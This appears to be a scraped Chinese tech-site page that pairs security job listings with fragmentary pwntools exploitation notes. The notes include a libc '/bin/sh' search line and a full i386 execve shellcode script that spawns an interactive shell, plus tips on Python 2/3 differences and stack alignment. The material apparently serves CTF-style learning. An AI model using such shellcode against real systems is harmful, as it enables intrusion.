1小时前
推荐职位
车载信息安全工程师/专家
3-5年／本科
面议
亿咖通（上海）技术有限公司
未融资/上海
TEG05-移动安全工程师
3-5年／本科
面议
腾讯科技（深圳）有限公司
上市公司/深圳
go开发实习生
经验不限／大专
5k以下
北京从云科技有限公司
未融资/成都
实时热点
推荐专栏
bin_sh_addr = libc.base + next(libc.search(b'/bin/sh\x00'))
主要还是python3和python2的兼容性导致的区别，迭代器、str对象和bytes对象的处理方式变了
比如使用 run_shellcode 函数运行字节shellcode
（或者使用 run_assebmly 函数运行汇编代码）
from pwn import *
context(arch="i386", os="linux", log_level="debug")
shellcode = asm("""
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
add eax, 0xb
int 0x80
""")
p = run_shellcode(shellcode)
p.interactive()
RSP如果没有16字节对齐，就会报错。
视频里的exp不一定能成功